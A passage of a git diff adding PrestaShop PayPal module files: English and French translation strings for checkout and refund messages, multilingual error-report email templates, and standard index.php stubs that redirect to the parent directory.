+$_MODULE['<{paypal}default>order-confirmation-mobile_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'Your PayPal transaction ID is :'; +$_MODULE['<{paypal}default>order-confirmation-mobile_300225ee958b6350abc51805dab83c24'] = 'Continue shopping'; +$_MODULE['<{paypal}default>order-confirmation-mobile_9390390581f54c65d6acfc8da4e17362'] = 'Back to orders'; +$_MODULE['<{paypal}default>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Order confirmation'; +$_MODULE['<{paypal}default>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total of the transaction (taxes incl.) :'; +$_MODULE['<{paypal}default>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Your order ID is :'; +$_MODULE['<{paypal}default>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'Your PayPal transaction ID is :'; +$_MODULE['<{paypal}default>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Follow my order'; +$_MODULE['<{paypal}default>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Back to orders'; +$_MODULE['<{paypal}default>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Your shopping cart'; +$_MODULE['<{paypal}default>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal '; +$_MODULE['<{paypal}default>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Order summary'; +$_MODULE['<{paypal}default>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'PayPal payment'; +$_MODULE['<{paypal}default>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'You have chosen to pay with PayPal.'; +$_MODULE['<{paypal}default>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Here is a short summary of your order:'; +$_MODULE['<{paypal}default>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'The total amount of your order is'; +$_MODULE['<{paypal}default>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(tax incl.)'; +$_MODULE['<{paypal}default>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'We accept the following currency to be sent by PayPal:'; +$_MODULE['<{paypal}default>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Please confirm your order by clicking \'I confirm my order\''; +$_MODULE['<{paypal}default>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'I confirm my order'; +$_MODULE['<{paypal}default>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pay with PayPal'; +$_MODULE['<{paypal}default>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Your order on'; +$_MODULE['<{paypal}default>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'is complete.'; +$_MODULE['<{paypal}default>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'You have chosen the PayPal method.'; +$_MODULE['<{paypal}default>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Your order will be sent very soon.'; +$_MODULE['<{paypal}default>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'For any questions or for further information, please contact our'; +$_MODULE['<{paypal}default>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'customer support'; +$_MODULE['<{paypal}default>express_checkout_payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pay with PayPal'; +$_MODULE['<{paypal}default>express_checkout_shortcut_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Pay with PayPal'; +$_MODULE['<{paypal}default>integral_evolution_payment_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Return to the merchant\'s website'; +$_MODULE['<{paypal}default>express_checkout_payment_11df2f4def6dd6381a423eb7416878cd'] = 'Pay with PayPal'; +$_MODULE['<{paypal}default>express_checkout_payment_f7e340fa3882c29e6f7980e0e1e46fcd'] = 'Pay with PayPal'; +$_MODULE['<{paypal}default>express_checkout_payment_dbd1f5fdf45e5a1ea1ce724f75d0183e'] = 'After choosing this payment, you will be transfered to Paypal secure server and will access your Paypal account.'; diff --git a/themes/default/modules/paypal/translations/fr.php b/themes/default/modules/paypal/translations/fr.php new file mode 100755 index 0000000..7c393f1 --- /dev/null +++ b/themes/default/modules/paypal/translations/fr.php @@ -0,0 +1,126 @@ +ipn_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté'; +$_MODULE['<{paypal}default>paypal_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}default>paypal_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acceptez le paiements par cartes de crédits (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) avec PayPal.'; +$_MODULE['<{paypal}default>paypal_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Êtes-vous certain de vouloir supprimer vos informations ?'; +$_MODULE['<{paypal}default>paypal_8b57f95f1e9cf09dc028fa5a671781ff'] = 'Toutes les fonctionnalités du module PayPal API sont incluses dans le nouveau module PayPal. Avant tout, pour ne pas rencontrer de conflits, veuillez ne pas utiliser ou supprimer le module PayPal API.'; +$_MODULE['<{paypal}default>paypal_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Vous devez renseigner vos identifiants PayPal Integral pour que votre thème mobile fonctionne correctement.'; +$_MODULE['<{paypal}default>paypal_bd6b3cca1e559117a964cdfab6a977cf'] = 'Le thème mobile fonctionne seulement avec la solution de paiement mobile PayPal. Veuillez activer le module pour bénéficier de possibilités de paiements.'; +$_MODULE['<{paypal}default>paypal_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Avant d\'utiliser le module vous devez installer le module \"Rétro-compatibilité\".'; +$_MODULE['<{paypal}default>paypal_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement le module \"Rétro-compatibilité\" doit être activé.'; +$_MODULE['<{paypal}default>paypal_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module requiert le module \"Rétro-compatibilité\" v'; +$_MODULE['<{paypal}default>paypal_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulation des produits :'; +$_MODULE['<{paypal}default>paypal_90ab0cfd410722553c79e614207a789a'] = 'Certains champs sont vides.'; +$_MODULE['<{paypal}default>paypal_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Les champs des identifiants ne peuvent être vides'; +$_MODULE['<{paypal}default>paypal_3f7145179c909f0e87a911a3171986b6'] = 'Le champs E-mail professionnel ne peut être vide'; +$_MODULE['<{paypal}default>paypal_e5d5d9f40763cfe6549bef705e3529a7'] = 'Le message de paiement n\'est pas valide, veuillez vérifier votre module'; +$_MODULE['<{paypal}default>paypal_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide'; +$_MODULE['<{paypal}default>paypal_eec39bf42bd135971fb2d838c67d1449'] = 'Opération de remboursement :'; +$_MODULE['<{paypal}default>paypal_2ab62d1a578713d0862b56819295630e'] = 'Remboursement PayPal confirmé !'; +$_MODULE['<{paypal}default>paypal_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erreur de transaction !'; +$_MODULE['<{paypal}default>paypal_67962779da962e3d4225055afc05e7bd'] = 'Résultat de la capture :'; +$_MODULE['<{paypal}default>paypal_8778ee03f6592d5fec9a1f2ee851e476'] = 'Commande terminée avec PayPal !'; +$_MODULE['<{paypal}default>paypal_672d40feac6437e49f771019bc330790'] = 'Statu de la vérification :'; +$_MODULE['<{paypal}default>paypal_1828820cc60e36b6f9fdf60cab103ed7'] = 'Vous utilisez actuellement l\'adresse PayPal par défaut, veuillez entrer votre propre adresse.'; +$_MODULE['<{paypal}default>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Ouvre une nouvelle connection vers'; +$_MODULE['<{paypal}default>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Echec de la connection avec la méthode cURL'; +$_MODULE['<{paypal}default>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connection réussie avec la méthode cURL'; +$_MODULE['<{paypal}default>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envoie des paramètres :'; +$_MODULE['<{paypal}default>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Echec de l\'envoie avec la méthode cURL ! Erreur :'; +$_MODULE['<{paypal}default>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envoie réussi avec la méthode cURL'; +$_MODULE['<{paypal}default>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Echec de la connection avec la méthode fsockopen'; +$_MODULE['<{paypal}default>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Echec de l\'envoie avec la méthode fsockopen ! Erreur :'; +$_MODULE['<{paypal}default>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envoie réussi avec la méthode fsockopen'; +$_MODULE['<{paypal}default>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Réponse PayPal :'; +$_MODULE['<{paypal}default>submit_67a3fcdb7708219b9d5d6269ad8c4a86'] = 'Une erreur est survenue pendant le processus de paiement.'; +$_MODULE['<{paypal}default>payment_d141a42a5e72c871a3116414bb5c64c1'] = 'Création du nouveau panier impossible'; +$_MODULE['<{paypal}default>payment_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Une erreur est survenue :'; +$_MODULE['<{paypal}default>payment_dca16503c563d9fdec70d18f2ab653a4'] = 'Erreur lors de la préparation du paiement par Express Checkout'; +$_MODULE['<{paypal}default>payment_51da74120dd5e11817ef21e27d2599bc'] = 'Impossible de créer un nouvel utilisateur'; +$_MODULE['<{paypal}default>payment_bcf08b34ab427cb871635151c6976eb0'] = 'Impossible de créer la nouvelle adresse'; +$_MODULE['<{paypal}default>payment_ca5cecfc8fd8e585ba1e684757168158'] = 'Impossible de mettre à jour le panier'; +$_MODULE['<{paypal}default>payment_ada2b5d5bbf3065de283d61526141780'] = 'En attente de capture du paiement.'; +$_MODULE['<{paypal}default>payment_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}default>payment_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}default>payment_98825385aadb1d0dd0fd133ef8acd23d'] = 'Impossible de créer la commande'; +$_MODULE['<{paypal}default>payment_085b78e060c3ef4cc37bd25abd06ff66'] = 'Le panier a changé depuis la dernière tentative de paiement. Veuillez recommencer le processus de paiement s\'il vous plait.'; +$_MODULE['<{paypal}default>payment_572da7ef1411f2a12409e752f3eb2f7a'] = 'Votre panier et vide.'; +$_MODULE['<{paypal}default>process_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide.'; +$_MODULE['<{paypal}default>process_484f5a79672cebe198ebdde45a1d672f'] = 'Emballage cadeau.'; +$_MODULE['<{paypal}default>notifier_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}default>notifier_572f9af7615560af2cba038cc1948287'] = 'Panier mis à jour, merci de ré-essayer.'; +$_MODULE['<{paypal}default>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}default>back_office_ae3cebe661e92cdfd12516419fef4f2d'] = 'Télécharger le'; +$_MODULE['<{paypal}default>back_office_e73756d0d2306110f29ccf28cb69c412'] = 'Guide d\'intégration de PayPal'; +$_MODULE['<{paypal}default>back_office_6506302a6e11077ecbc04b5932a65c4c'] = 'sur PrestaShop et suivez les étapes pas à pas'; +$_MODULE['<{paypal}default>back_office_748eadce9cf4f2bde207b63c5441da07'] = 'Utilisez la Fonction PayPal Login'; +$_MODULE['<{paypal}default>back_office_cded4ac9f77c68c750c243af1f5263c5'] = ' (*voir le '; +$_MODULE['<{paypal}default>back_office_606d8f704cf61d29bffd5195f28af29e'] = 'Guide d\'Intégration'; +$_MODULE['<{paypal}default>back_office_a1694ad810c4ac5b56b59c47db01cb05'] = 'et suivre les étapes de mise en place'; +$_MODULE['<{paypal}default>back_office_3650f874df7e9c6e822a872d02cee6d5'] = 'Cette fonction permet à vos clients de se connecter avec leurs identifiants PayPal pour raccourcir le tunnel d\'achat'; +$_MODULE['<{paypal}default>back_office_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{paypal}default>back_office_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{paypal}default>back_office_9be4e88898c4e88363208d2472f4a406'] = 'Renseignez les informations liées à votre compte PayPal'; +$_MODULE['<{paypal}default>back_office_4ff2e716a7d06ce5274b4090b39abad3'] = 'Voir'; +$_MODULE['<{paypal}default>back_office_8646a5d7b2817d30950357da8d80a11f'] = 'le Guide d\'Intégration'; +$_MODULE['<{paypal}default>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erreur !'; +$_MODULE['<{paypal}default>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Capture PayPal'; +$_MODULE['<{paypal}default>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}default>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Les fonds sont prêts à être capturés avant expédition'; +$_MODULE['<{paypal}default>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Récupérer les fonds'; +$_MODULE['<{paypal}default>refund_8ba079f305b81b172792bc0469b6a690'] = 'Remboursement PayPal'; +$_MODULE['<{paypal}default>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}default>refund_016e1f278eccd700eaf33f74a501d050'] = 'Paiement accepté'; +$_MODULE['<{paypal}default>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Lorsque vous remboursez un produit, un remboursement partiel est effectué sauf si vous sélectionnez l\'option \"Générer un bon de réduction\"'; +$_MODULE['<{paypal}default>refund_729a51874fe901b092899e9e8b31c97a'] = 'Etes-vous sûr ?'; +$_MODULE['<{paypal}default>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Remboursement total de la transaction'; +$_MODULE['<{paypal}default>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validation PayPal'; +$_MODULE['<{paypal}default>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}default>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Capture en attente - Pas d\'expédition'; +$_MODULE['<{paypal}default>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Paiement en attente - Pas d\'expédition'; +$_MODULE['<{paypal}default>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Vérifier l\'état du paiement'; +$_MODULE['<{paypal}default>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Qu\'est-ce que PayPal ?'; +$_MODULE['<{paypal}default>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader incontesté en matière de paiement en ligne, permet aux acheteurs et aux vendeurs d\'envoyer et de recevoir des paiements en ligne. PayPal compte plus de 100 millions de comptes dans 190 pays et régions du monde. Il est accepté par les marchands partout, à la fois sur eBay et en dehors d\'eBay.'; +$_MODULE['<{paypal}default>about_d20adade7baa1b60b713521031ea676c'] = 'Est-ce un service sécurisé ?'; +$_MODULE['<{paypal}default>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal contribue à protéger les informations concernant votre carte bancaire grâce aux meilleurs systèmes présents sur le marché pour la sécurité et la prévention contre la fraude. Lorsque vous utilisez PayPal, vos informations financières ne sont jamais communiquées au marchand.'; +$_MODULE['<{paypal}default>about_5ef30813484389e4200640c2f006004d'] = 'Pourquoi utiliser PayPal ?'; +$_MODULE['<{paypal}default>about_86550d4ea832930db4366f03b90bdfb8'] = 'Effectuez des achats ou envoyez des paiements avec PayPal : c\'est gratuit.'; +$_MODULE['<{paypal}default>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Achetez et payez en toute tranquillité en enregistrant vos informations auprès de PayPal.'; +$_MODULE['<{paypal}default>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal est accepté par des millions de marchands dans le monde et constitue le mode de paiement le plus utilisé sur eBay.'; +$_MODULE['<{paypal}default>about_7934d7d1280bfbb8778743e39292af30'] = 'Utilisez PayPal dès aujourd\'hui !'; +$_MODULE['<{paypal}default>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}default>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}default>error_f47106270a2928f350f357e255a2c2ac'] = 'Veuillez contacter le marchant:'; +$_MODULE['<{paypal}default>error_d5860edcd3078f86ee963c27654bc6cf'] = 'Montant total de la transaction (taxes incl) :'; +$_MODULE['<{paypal}default>error_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'L\'ID de votre commande est :'; +$_MODULE['<{paypal}default>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Précédent'; +$_MODULE['<{paypal}default>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmation de commande'; +$_MODULE['<{paypal}default>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total de la transaction (TTC) :'; +$_MODULE['<{paypal}default>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Votre numéro de commande est le :'; +$_MODULE['<{paypal}default>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'Votre numéro de transaction PayPal est :'; +$_MODULE['<{paypal}default>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Suivre ma commande'; +$_MODULE['<{paypal}default>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Retour aux commandes'; +$_MODULE['<{paypal}default>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}default>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}default>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Résumé de la commande'; +$_MODULE['<{paypal}default>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Paiement par PayPal'; +$_MODULE['<{paypal}default>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Vous avez choisi de payer par PayPal'; +$_MODULE['<{paypal}default>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un résumé de votre commande'; +$_MODULE['<{paypal}default>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande est'; +$_MODULE['<{paypal}default>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(tax incl.)'; +$_MODULE['<{paypal}default>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nous acceptons les devises suivantes avec PayPal :'; +$_MODULE['<{paypal}default>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{paypal}default>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{paypal}default>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payer par PayPal'; +$_MODULE['<{paypal}default>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{paypal}default>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'est bien enregistrée.'; +$_MODULE['<{paypal}default>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Vous avez choisi de payer avec PayPal.'; +$_MODULE['<{paypal}default>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Votre commande vous sera envoyée très prochainement.'; +$_MODULE['<{paypal}default>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire merci de contacter notre'; +$_MODULE['<{paypal}default>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'support client'; +$_MODULE['<{paypal}default>express_checkout_payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}default>express_checkout_shortcut_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}default>integral_evolution_payment_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Retour au site du marchant.'; diff --git a/themes/default/modules/paypal2/mails/br/error_reporting.html b/themes/default/modules/paypal2/mails/br/error_reporting.html new file mode 100755 index 0000000..d4d7b30 --- /dev/null +++ b/themes/default/modules/paypal2/mails/br/error_reporting.html @@ -0,0 +1,43 @@ + + + + + Mensagem de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + {shop_name} +
         
        Hi,
         
        Relatório de erro do seu módulo PayPalAPI
         
        + Um cliente encontrou um problema com o módulo PayPalAPI, veja relatório: +
         
        + {logs} +
         
        + {shop_name} provido por PrestaShopâ„¢ + +
        + + diff --git a/themes/default/modules/paypal2/mails/br/error_reporting.txt b/themes/default/modules/paypal2/mails/br/error_reporting.txt new file mode 100755 index 0000000..12949b1 --- /dev/null +++ b/themes/default/modules/paypal2/mails/br/error_reporting.txt @@ -0,0 +1,9 @@ + Oi, + + Relatório de erro do seu módulo PayPalAPI + + Um cliente encontrou um problem com o módulo PayPalAPI, veja relatório: + + {logs} + + {shop_url} provido por PrestaShop™ diff --git a/themes/default/modules/paypal2/mails/br/index.php b/themes/default/modules/paypal2/mails/br/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/br/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/de/error_reporting.html b/themes/default/modules/paypal2/mails/de/error_reporting.html new file mode 100755 index 0000000..cd5fe9f --- /dev/null +++ b/themes/default/modules/paypal2/mails/de/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Nachricht von {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hallo,
         
        Fehlerbericht aus Ihrem PayPalAPI Modul
         
        Bei einem Kunden ist ein Problem mit dem PayPalAPI Modul aufgetreten, lesen Sie den Bericht:
         
        {logs}
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/de/error_reporting.txt b/themes/default/modules/paypal2/mails/de/error_reporting.txt new file mode 100755 index 0000000..c8f23e3 --- /dev/null +++ b/themes/default/modules/paypal2/mails/de/error_reporting.txt @@ -0,0 +1,9 @@ + Hallo, + + Fehlerbericht aus Ihrem PayPalAPI Modul + + Bei einem Kunden ist ein Problem mit dem PayPalAPI Modul aufgetreten, lesen Sie den Bericht: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/paypal2/mails/de/index.php b/themes/default/modules/paypal2/mails/de/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/de/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/en/error_reporting.html b/themes/default/modules/paypal2/mails/en/error_reporting.html new file mode 100755 index 0000000..a28099c --- /dev/null +++ b/themes/default/modules/paypal2/mails/en/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Error reporting from your PayPalAPI module
         
        A client has encountered a problem with the module PayPalAPI, see the report:
         
        {logs}
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/en/error_reporting.txt b/themes/default/modules/paypal2/mails/en/error_reporting.txt new file mode 100755 index 0000000..802ac51 --- /dev/null +++ b/themes/default/modules/paypal2/mails/en/error_reporting.txt @@ -0,0 +1,9 @@ + Hi, + + Error reporting from your PayPalAPI module + + A client has encountered a problem with the module PayPalAPI, see the report: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/paypal2/mails/en/index.php b/themes/default/modules/paypal2/mails/en/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/es/error_reporting.html b/themes/default/modules/paypal2/mails/es/error_reporting.html new file mode 100755 index 0000000..8ce92cc --- /dev/null +++ b/themes/default/modules/paypal2/mails/es/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hola,
         
        Informe de error a partir de su módulo PayPalAPI
         
        Un cliente ha encontrado un problema con el módulo PayPalAPI:
         
        {logs}
         
        {shop_name} lanzado por PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/es/error_reporting.txt b/themes/default/modules/paypal2/mails/es/error_reporting.txt new file mode 100755 index 0000000..a293fc6 --- /dev/null +++ b/themes/default/modules/paypal2/mails/es/error_reporting.txt @@ -0,0 +1,9 @@ + Hola, + + Informe de error a partir de su módulo PayPalAPI + + Un cliente ha encontrado un problema con el módulo PayPalAPI: + + {logs} + + {shop_url} lanzado por PrestaShop™ diff --git a/themes/default/modules/paypal2/mails/es/index.php b/themes/default/modules/paypal2/mails/es/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/es/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/fr/error_reporting.html b/themes/default/modules/paypal2/mails/fr/error_reporting.html new file mode 100755 index 0000000..8b900f8 --- /dev/null +++ b/themes/default/modules/paypal2/mails/fr/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour,
         
        Rapport d'erreur à partir de votre module PayPalAPI
         
        Un client a rencontré un problème avec le module PayPalAPI:
         
        {logs}
         
        {shop_name} propulsé par PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/fr/error_reporting.txt b/themes/default/modules/paypal2/mails/fr/error_reporting.txt new file mode 100755 index 0000000..87cf565 --- /dev/null +++ b/themes/default/modules/paypal2/mails/fr/error_reporting.txt @@ -0,0 +1,9 @@ + Bonjour, + + Rapport d'erreur à partir de votre module PayPalAPI + + Un client a rencontré un problème avec le module PayPalAPI: + + {logs} + + {shop_url} propulsé par PrestaShop™ diff --git a/themes/default/modules/paypal2/mails/fr/index.php b/themes/default/modules/paypal2/mails/fr/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/fr/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/index.php b/themes/default/modules/paypal2/mails/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/themes/default/modules/paypal2/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + 